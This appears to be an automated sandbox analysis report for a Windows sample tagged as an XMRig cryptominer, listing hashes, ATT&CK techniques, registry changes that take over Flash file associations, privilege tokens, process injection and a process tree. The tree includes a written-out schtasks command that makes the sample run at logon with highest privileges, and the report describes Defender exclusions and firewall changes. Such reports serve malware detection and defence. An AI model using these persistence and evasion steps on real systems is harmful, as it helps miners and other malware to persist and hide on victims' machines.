xmrig | e08dd05cdaf1ba515f90c49570ba66cf7f0fbd40d0ab48044ecd4c8f500aadb0

Analysis

max time kernel
59s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 12:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
Size 49.4MB
Sample260804-pfhk6swvbx
SHA256 e08dd05cdaf1ba515f90c49570ba66cf7f0fbd40d0ab48044ecd4c8f500aadb0
MD5 43540381dc8b0fa7688c59465a8a6295
SHA1 eeb5196166e13aa8c4aa266b42e998a86b55ade1
SHA512 fcc7dd431f30485710215e0c87f76c94cbff5acb4cb2ccd8182e4a251d58d9f31849ad82f65088810dabe8175c7607a89e3650c9b24f6fbd5c2aff594c2fbc07
SSDEEP 786432:QYe+pJFC9zaouyEeNMhZl05Yt+kTVTL/xlFVaP:keZA6+kTVTL/xlF
TLSH
T16FB77C53F85144E0D4EAD134863AD65BBA717C658B3023C72B64FA642F7AFD0A67E308
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/0x00070000000244ac-123.dat	family_xmrig
behavioral1/files/0x00070000000244ac-123.dat	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4676	powershell.exe
3764	powershell.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2764	netsh.exe
1568	netsh.exe
2300	netsh.exe
2648	netsh.exe

Executes dropped EXE 4 IoCs

pid	Process
2332	player.exe
1244	LauncherW1.exe
4740	LauncherW2.exe
4936	KryptexService.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	player.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	player.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	player.exe

Modifies registry class 43 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.AudioForFlashPlayer\shell	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.FlashVideo\shell\open\command	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.FlashVideo	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.AudioForFlashPlayer\DefaultIcon\ = "C:\\ProgramData\\Launcher\\player.exe,-205"	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.VideoForFlashPlayer\shell	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.AudioForFlashPlayer	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.AudioForFlashPlayer\shell\open	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.ProtectedMediaForFlashPlayer	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.ProtectedMediaForFlashPlayer\shell\open	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.ProtectedMediaForFlashPlayer\DefaultIcon\ = "C:\\ProgramData\\Launcher\\player.exe,-204"	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.spl	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ShockwaveFlash.ShockwaveFlash\shell\open\command	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.swf	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.FlashVideo\shell\open	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.FlashVideo\DefaultIcon\ = "C:\\ProgramData\\Launcher\\player.exe,-202"	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.AudioForFlashPlayer\shell\open\command\ = "\"C:\\ProgramData\\Launcher\\player.exe\" %1"	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.FlashVideo\shell	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.FlashVideo\DefaultIcon	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.VideoForFlashPlayer\shell\open	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.ProtectedMediaForFlashPlayer\DefaultIcon	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f4p	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ShockwaveFlash.ShockwaveFlash	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ShockwaveFlash.ShockwaveFlash\shell\open\command\ = "\"C:\\ProgramData\\Launcher\\player.exe\" %1"	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ShockwaveFlash.ShockwaveFlash\DefaultIcon\ = "C:\\ProgramData\\Launcher\\player.exe,-608"	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.swf\ = "ShockwaveFlash.ShockwaveFlash"	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.VideoForFlashPlayer\shell\open\command\ = "\"C:\\ProgramData\\Launcher\\player.exe\" %1"	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.VideoForFlashPlayer\DefaultIcon	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.AudioForFlashPlayer\DefaultIcon	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.ProtectedMediaForFlashPlayer\shell	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.FlashVideo\shell\open\command\ = "\"C:\\ProgramData\\Launcher\\player.exe\" %1"	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.VideoForFlashPlayer\DefaultIcon\ = "C:\\ProgramData\\Launcher\\player.exe,-203"	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f4a\ = "FlashPlayer.AudioForFlashPlayer"	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.ProtectedMediaForFlashPlayer\shell\open\command\ = "\"C:\\ProgramData\\Launcher\\player.exe\" %1"	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f4p\ = "FlashPlayer.ProtectedMediaForFlashPlayer"	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ShockwaveFlash.ShockwaveFlash\shell	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ShockwaveFlash.ShockwaveFlash\shell\open	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.VideoForFlashPlayer\shell\open\command	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.AudioForFlashPlayer\shell\open\command	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f4a	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.ProtectedMediaForFlashPlayer\shell\open\command	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ShockwaveFlash.ShockwaveFlash\DefaultIcon	player.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.spl\ = "ShockwaveFlash.ShockwaveFlash"	player.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\FlashPlayer.VideoForFlashPlayer	player.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1392	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
1244	LauncherW1.exe
4740	LauncherW2.exe
4740	LauncherW2.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
1244	LauncherW1.exe
1244	LauncherW1.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4740	LauncherW2.exe
1244	LauncherW1.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
1244	LauncherW1.exe
4740	LauncherW2.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
Token: SeDebugPrivilege	1244	LauncherW1.exe
Token: SeIncreaseQuotaPrivilege	4936	KryptexService.exe
Token: SeSecurityPrivilege	4936	KryptexService.exe
Token: SeTakeOwnershipPrivilege	4936	KryptexService.exe
Token: SeLoadDriverPrivilege	4936	KryptexService.exe
Token: SeSystemProfilePrivilege	4936	KryptexService.exe
Token: SeSystemtimePrivilege	4936	KryptexService.exe
Token: SeProfSingleProcessPrivilege	4936	KryptexService.exe
Token: SeIncBasePriorityPrivilege	4936	KryptexService.exe
Token: SeCreatePagefilePrivilege	4936	KryptexService.exe
Token: SeBackupPrivilege	4936	KryptexService.exe
Token: SeRestorePrivilege	4936	KryptexService.exe
Token: SeShutdownPrivilege	4936	KryptexService.exe
Token: SeDebugPrivilege	4936	KryptexService.exe
Token: SeSystemEnvironmentPrivilege	4936	KryptexService.exe
Token: SeRemoteShutdownPrivilege	4936	KryptexService.exe
Token: SeUndockPrivilege	4936	KryptexService.exe
Token: SeManageVolumePrivilege	4936	KryptexService.exe
Token: 33	4936	KryptexService.exe
Token: 34	4936	KryptexService.exe
Token: 35	4936	KryptexService.exe
Token: 36	4936	KryptexService.exe
Token: SeDebugPrivilege	4740	LauncherW2.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2332	player.exe
2332	player.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 2332	4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe	85
PID 4880 wrote to memory of 1392	4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe	96
PID 4880 wrote to memory of 1244	4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe	98
PID 4880 wrote to memory of 4740	4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe	99
PID 4880 wrote to memory of 4936	4880	2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe	101
PID 1244 wrote to memory of 3760	1244	LauncherW1.exe	103
PID 4740 wrote to memory of 5016	4740	LauncherW2.exe	106
PID 1244 wrote to memory of 4168	1244	LauncherW1.exe	108
PID 4936 wrote to memory of 2764	4936	KryptexService.exe	109
PID 4740 wrote to memory of 4280	4740	LauncherW2.exe	110
PID 1244 wrote to memory of 4116	1244	LauncherW1.exe	111
PID 4740 wrote to memory of 3924	4740	LauncherW2.exe	112
PID 1244 wrote to memory of 1372	1244	LauncherW1.exe	145

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4880
- C:\ProgramData\Launcher\player.exe
  "C:\ProgramData\Launcher\player.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:2332
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /F /TN "LauncherAutostart" /TR "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe" /SC ONLOGON /RL HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1392
- C:\ProgramData\Launcher\LauncherW1.exe
  "C:\ProgramData\Launcher\LauncherW1.exe" --watch
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3760
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4168
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4116
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1372
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1324
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1540
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2344
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4160
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4636
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1076
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:952
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3276
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2208
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3984
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2060
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1452
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4268
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4472
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2272
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3644
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:5020
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3336
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2164
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4276
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1508
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3936
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4208
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1520
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4716
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1540
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4064
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4048
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:620
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2504
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1960
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:5076
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3732
- C:\ProgramData\Launcher\LauncherW2.exe
